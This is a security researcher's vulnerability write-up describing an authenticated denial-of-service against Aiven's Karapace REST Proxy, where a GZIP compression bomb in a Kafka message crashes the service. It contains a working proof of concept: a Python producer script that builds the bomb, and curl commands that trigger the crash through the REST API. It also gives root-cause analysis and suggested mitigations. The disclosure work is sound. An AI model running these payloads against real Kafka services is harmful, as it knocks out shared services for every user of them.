Zion Boggan

In-depth vulnerability research, detection engineering & applied cryptography.

● Open to security-research & detection roles
GitHub · LinkedIn · Email
← Research notebook
DoS

Authenticated DoS: Karapace REST Proxy Crash via GZIP Compression Bomb in Kafka Messages

VRT

Server-Side Injection > Resource Exhaustion > Denial of Service

CVSS

7.5 (High), CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

An authenticated Aiven Kafka user can crash Aiven’s Karapace REST Proxy by producing a GZIP-compressed message with an extreme compression ratio (compression bomb) to any topic, then consuming that topic through the Karapace REST API. Karapace uses confluent-kafka-python (backed by librdkafka) for its internal consumer, and librdkafka’s GZIP decompression has no upper bound on output size, unlike its ZSTD codec which correctly caps decompression at receive.message.max.bytes.

A 917KB compressed message decompresses to 900MB, causing Karapace to allocate 1.8GB+ of memory and crash. The bomb message persists in the topic, re-crashing Karapace on every subsequent consume request from any user.

Aiven-Specific Impact

This is NOT merely an upstream librdkafka bug report. The finding is that Aiven’s Karapace architecture exposes a server-side librdkafka consumer to attacker-controlled compressed data without any decompression size mitigation:

  1. Karapace REST Proxy is Aiven’s own service, it runs server-side, consuming from user topics via librdkafka
  2. Users control the message content, any authenticated producer can send compressed messages
  3. No server-side decompression limit, Aiven imposes no additional bounds beyond what librdkafka provides (which for GZIP is: none)
  4. Persistent DoS, the bomb message stays in the topic until retention expires; every REST API consume attempt re-triggers the crash
  5. Service-level impact, Karapace crash affects Schema Registry and REST Proxy availability for the entire Kafka service

Attack Chain

Attacker (authenticated) → Produce GZIP bomb to topic via Kafka protocol
 → Consume topic via Karapace REST API
 → Karapace's librdkafka consumer decompresses bomb
 → Unbounded memory allocation → OOM → Karapace crash

Reproduction

Prerequisites

  • Aiven Kafka service with kafka_rest enabled
  • SSL certificates from Aiven console
  • Python 3 + confluent-kafka: pip install confluent-kafka

Step 1: Produce GZIP compression bomb

from confluent_kafka import Producer

# 200MB of zeros → ~200KB compressed with GZIP (1000:1 ratio)
payload = b'\x00' * (200 * 1024 * 1024)

conf = {
 'bootstrap.servers': '<kafka-host>:<port>',
 'security.protocol': 'SSL',
 'ssl.ca.location': 'ca.pem',
 'ssl.certificate.location': 'service.cert',
 'ssl.key.location': 'service.key',
 'compression.type': 'gzip',
 'message.max.bytes': str(210 * 1024 * 1024),
}

p = Producer(conf)
p.produce('bomb-topic', value=payload)
p.flush()
# Result: ~200KB stored on broker, decompresses to 200MB

Step 2: Consume via Karapace REST API (triggers crash)

KARAPACE="https://<kafka-rest-host>:<port>"

# Create consumer
curl -s -X POST "$KARAPACE/consumers/bomb-group" \
 -H "Content-Type: application/vnd.kafka.binary.v2+json" \
 --cert service.cert --key service.key --cacert ca.pem \
 -d '{"name":"bomb-consumer","format":"binary","auto.offset.reset":"earliest"}'

# Subscribe
curl -s -X POST "$KARAPACE/consumers/bomb-group/instances/bomb-consumer/subscription" \
 -H "Content-Type: application/vnd.kafka.binary.v2+json" \
 --cert service.cert --key service.key --cacert ca.pem \
 -d '{"topics":["bomb-topic"]}'

# Fetch records - THIS TRIGGERS THE CRASH
# Karapace's librdkafka consumer decompresses the bomb → OOM
curl -s "$KARAPACE/consumers/bomb-group/instances/bomb-consumer/records" \
 -H "Accept: application/vnd.kafka.binary.v2+json" \
 --cert service.cert --key service.key --cacert ca.pem
# Expected: connection reset / 502 / timeout (Karapace has crashed)

Step 3: Verify Karapace crash

# Subsequent requests to Karapace fail until it restarts:
curl -s "$KARAPACE/topics" \
 --cert service.cert --key service.key --cacert ca.pem
# Expected: connection refused / 502 (service restarting)

Root Cause Analysis

librdkafka’s decompression codecs have inconsistent size bounds:

Codec Source File Size Limit Vulnerable?
ZSTD rdkafka_zstd.c while (out_bufsize <= recv_max_msg_size) No, correctly bounded
GZIP rdgz.c NONE, allocates full strm.total_out YES
LZ4 rdkafka_lz4.c NONE, unbounded realloc loop YES
Snappy snappy.c NONE, allocates sum of chunk sizes YES

The ZSTD codec correctly caps decompression at receive.message.max.bytes. The GZIP, LZ4, and Snappy codecs do not enforce any limit, allowing attacker-controlled decompressed output sizes.

Aiven’s Karapace does not add any additional decompression limit on top of librdkafka’s defaults, nor does the Aiven Kafka configuration impose decompression bounds at the service level.

Local PoC Evidence (Docker Kafka 4.2.0 + librdkafka 2.14.0)

200MB bomb: - Compressed on broker: 203,932 bytes (199KB) - Consumer memory increase: +400MB (from 15MB baseline to 416MB)

900MB bomb: - Compressed on broker: 917,351 bytes (896KB) - Consumer memory increase: +1.8GB (from 15MB baseline to 1,816MB) - Kafka broker’s own DumpLogSegments tool crashes: java.lang.OutOfMemoryError: Java heap space

Suggested Mitigations for Aiven

  1. Karapace-level: Configure receive.message.max.bytes to a safe value and add explicit decompression size validation before serving via REST API
  2. Container-level: Set memory limits on the Karapace container with OOM restart policy
  3. Service-level: Add a configurable max.decompressed.message.bytes parameter that applies across all compression codecs
  4. Upstream: Report the inconsistent decompression bounds to Confluent/librdkafka (GZIP/LZ4/Snappy should match ZSTD’s behavior)

Affected Versions

  • Aiven Karapace: all versions using confluent-kafka-python
  • librdkafka: all versions through 2.14.0 (latest)
  • All Aiven Kafka services with REST Proxy enabled

Source · github.com/zionsworking/security-research-notebook · writeups/aiven/kafka-karapace-gzip-bomb-dos.md